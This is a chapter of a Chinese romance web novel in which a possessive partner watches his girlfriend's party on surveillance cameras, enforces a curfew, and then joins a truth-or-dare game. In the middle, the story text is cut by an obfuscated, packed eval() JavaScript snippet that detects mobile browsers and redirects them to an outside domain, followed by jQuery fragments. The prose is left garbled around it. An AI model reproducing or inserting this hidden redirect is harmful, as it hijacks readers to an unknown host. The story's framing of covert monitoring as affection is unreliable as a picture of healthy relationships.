很不巧,七夕的第二天是周五,没有给迟云伊留出充足的时间去缓解一夜未睡带来的后劲儿。
她记着第二天要上班,睡着睡着觉,到起床时间,强撑着睁开眼睛,唔咛几声。项誉刚好起床在穿衣服,注意到身后的动静,床上的人儿在伸懒腰,一看就不想起床的样子。他曲身凑过去道:“时间还早,再多睡会儿吧。你昨天傍晚才回南城,今天上午可以好好休息一下。”
迟云伊头晕沉沉的,还有些起床气,“不行,要去上班。”
她给自己设立了目标,要拿全勤。
马上月底,不能因为起不来床就让一整个月的努力功亏一篑。
项誉不再劝她,“好,你先躺着,我去给你拿衣服。”
要是不看别的,项誉真像一个二十四孝好男友。但是他一夜十次,刷新了迟云伊对他的认识。
之前一夜七次还是保守了。
这个强度有点吓人,她吃不消。以至于项誉过来给她穿胸衣内裤的时候,迟云伊一下子甩开了他的手。幻视昨晚他对她不干人事。
男人手僵硬在半空中,目光紧跟着裹被子艰难下床的背影,脑海里迅速闪过她这番表现的缘由,跟上前,“在生气?”
“你觉得呢?”迟云伊看着身上的印子,牙印居多,还有很多红痕。要好多天才能消掉。
自打一起睡以来,身上的印子总是消不掉,不知道什么时候哪个部位就又多了一些。旧的还没退去,新的就又已经补上了。
“对不起。”
迟云伊闭着眼睛刷牙,随意地嗯了声。
家里的阿姨已经做好了早餐,项誉为她做了杯半糖拿铁。
落座吃饭,余光注意着手边,拿铁被端走,项誉注意到那只手没戴钻戒,抬头顺着视线,看到迟云伊一口闷了半杯。
他睫毛轻颤,轻声道:“好喝也要慢点喝。”
“脸皮真厚,”迟云伊往嘴里塞了个鸡蛋,“我赶时间,先走了。”
“……”
-
迟云伊早上上班没精打采的,坐在那里处理工作,迟云珊见了,问:“晚上没睡好,怎么蔫蔫的?”
“可别提了,一晚没睡。这个破七夕过得……今晚我去你那儿好好睡个整觉。你别让林星海过来。”
“那周末呢,周末你也不回去?”
周五晚、周末就更不能回去了。
他们之前约定过,这几天可以在床上肆意厮混。迟云伊要是回去,说不准是在给项誉递暗号——今晚可以,做吧,爱吧。
经过昨晚,一夜十次,项誉在她这儿一战成名。
她绝对不要给项誉这个暗示。
“不回,我要好好休息,周末再叫上几个朋友出去玩,好好放松放松。”
“行。”
中午趴在桌子上休息了一会儿,下午不太忙,休息了将近一下午,仍旧没有缓过劲儿来。下班给项誉发消息,说今晚不回。
那边回复说不行。
早就料到这个回答,迟云伊根本没在怕的,回他一句“小小的老子就是天,你还想管得了天?做梦去吧”。
被迟云珊带出去吃了顿饭,迟云伊回去沾枕头就睡了。
出差一周连轴转、一晚上做了十次,这一睡,就睡了整整一个白天,把这段时间失去的觉全补回来了。
迟云伊睡饱后,好似焕发了生机一般。她叫狐朋狗友来自己的海边豪宅喝酒吃饭蹦迪,聚在一起,好不热闹。这一众好友中,有许鑫磊。
被项誉警告过后,他本该拒绝这次邀请,可是他小时候的朋友都在,就过来聚一聚。
许鑫磊有刻意避着迟云伊,只找自己的儿时旧友玩。视线却总是不经意间朝她的方向扫一眼,如玉般的脸庞在暗光照耀下打来一层光影,继续笑着和朋友聊天。
麻将桌处又响起一阵欢呼,一局麻将打赢,迟云伊发出小人得志的笑声。脸上已经贴满白色纸条的她兴致勃勃又贱兮兮地往别人脸上贴白纸条。
牌友有男有女,给男生贴的时候,迟云伊顿感头皮发麻,好似被人盯着后脑勺,阴嗖嗖的。
“怎么感觉这么不舒服呢。”她道。
“咋啦?”
“总觉得有人在暗处盯着我看。”
“是错觉吧,有可能是空调温度太低了。”
“有道理,我去找个毯子盖。”
好些会儿没看手机,迟云伊顺便翻了翻消息。项誉在半个小时之前发过消息,让她今晚回家。
催催催,每天都发回家回家回家,就不回!
【别理我:捅刀子jpg.】
【别理我:就不回去】
手机亮屏。
收到消息时,项誉在监控室。
眉眼并不平和。
不时滚动着的咬肌暴露出他此刻情绪并不佳。
迟云伊前脚到,半个小时后他也到了,然后坐在这里盯着显示屏幕,一言不发,看了快一个小时。
此处宅院虽说在迟云伊名下,可是装修全都是项誉在操持,监控也是由他一手经管。
昨天不回家,情有可原;
今天出来跟这么多人厮混,还是晚上,罪加一等。
他看着时间,时针指到九,项誉拿起手机给迟云伊打电话。
一秒,两秒,三秒……无人接听。
监控屏幕里的人儿还在跟好友碰杯,沙发上手机的震动声根本无人在意。
项誉起身,推开监控室的门往外走。门和墙碰了碰面,又被墙弹射开,没关好,晃啊晃的。
地下一层进来一位不速之客。
项誉名声在外,混的这么好,在场的人没有不认识他的。男人穿梭在人群中,说话声渐停,喧闹的娱乐室不多时便安静下来。
气氛陡然间发生变化,迟云伊回头,去看到底怎么个事儿。
泳池处,站着一个男人,与她凝眸相望。
“咋啦……喔,我当时谁来了,原来是你来了。”
她小跑两步赶紧过去,生怕项誉当着她朋友的面甩脸色,“你怎么有时间过来了?”她声音又轻又软,眉眼含星点点,举止间尽是依赖,叫人无法对这样的迟云伊说出难听的话。
项誉盯着身前的人,语气不算太坏,问:“几点了?”
手表显示九点零三分。迟云伊心里忐忑,“你想干什么?”她拉着人的袖子,极小声说:“这些都是我的朋友,在他们面前给我留点面子。”
项誉抿唇不理,只再一次提醒她:“九点门禁。”
这么多人都看着他们,“知道知道,以后绝对在门禁时间前到家。今晚结束我跟你走,你别让我丢面子。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380212|184119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>迟云伊抓着他的胳膊,轻轻晃了晃,这点撒娇明显不够,她双臂环在他腰上,用力抱着,抬头焦急地看他,“好不好,好不好嘛。”
龙筱妮喝着红酒,听朋友说:“看来项誉总已经把云伊拿捏住了。她以后该不会变成夫管严吧?”
“哪用得着以后,现在就已经是了,”前段日子怎么约都约不出迟云伊,她把这事儿跟朋友说了之后,“你猜伊伊怎么说?”
“怎么说?”
龙筱妮清清嗓子,“不行~我要在家跟项誉过二人世界~简直肉麻死了!”
“哈哈哈哈……”
在迟云伊的狂势撒娇中,项誉终于松口,“下不为例。”
男人端起一杯酒,“不好意思,我本答应伊伊过来一趟,因为公事来晚了,自罚一杯,大家不用管我,尽情玩就好。”
迟云伊也说:“就是就是,继续继续,咱们上把麻将不是还没打完嘛,走走走。”
项誉也加入到麻将中来。
他不玩,只看迟云伊玩,跟她商量怎么出牌,输了给她脸上贴白纸条,并监督不让纸条干落在地。
项誉在这儿,大家都显得有些拘谨,不如先前放得开。麻将桌上有的一位男生,他的心思明显已经飞向了别处。平日里见都见不到的甲方坐在自己身前,他想把握住这次机会。
徐新朗开口说:“要不然咱再玩点有意思的吧。”
迟云伊问:“什么有意思的?”
“真心话大冒险怎么样,输了的人都要被赢的人提问。”
“来就来!”
徐新朗拿出自己此生最高的技术一打三。
他要赢。
然后借着机会跟项誉搞好关系。
刚刚打麻将时,项誉柔软温存的目光一直盯着迟云伊看她脸上的表情,她笑他的眼睛也带笑,手也没闲着,帮忙揉捏腰部不适,还低头在她打得火热时,凑过去说悄悄话……
大方向已经定好。
绝对不会出错。
人在刻意追逐某样东西时,如果发奋努力,外加点运气,老天都会来帮忙。徐新朗的牌不错,最先胡了。
他先是问了其他两个人,将氛围带动起来,轮到迟云伊时,气氛已经恰到好处。
迟云伊:“像我们这种雄鹰般的女人,就要玩点刺激的,我选大冒险!”
徐新朗说:“行!在我们这些人里选一位男士亲吻,亲够十秒。”
此话一出,迟云伊微愣,项誉挑眉。其余三人发出惊呼声。
在场的人里,最合适的只有项誉。
迟云伊也只能亲项誉。
“怎么样,敢不敢?”
迟云伊strong:“徐新朗你一点新意都没有,这根本没难度。”
唯一的难度就是——她平时跟项誉在家里想怎么亲就怎么亲,可是这种事情要拿到台面上给别人看,还怪害羞的。
“迟云伊你快点呀,别磨蹭了。”
有人附和:“肯定是害羞了。”
“没错!”
项誉放下酒杯,好整以暇等待迟云伊下一步会作何反应。
她一拍大腿,“不就是亲个十秒么!有什么难的,害羞个屁,都不知道亲多少回了……”她的声音越说越小。
看了眼项誉,下一刹,抱着他的头就吻上去了。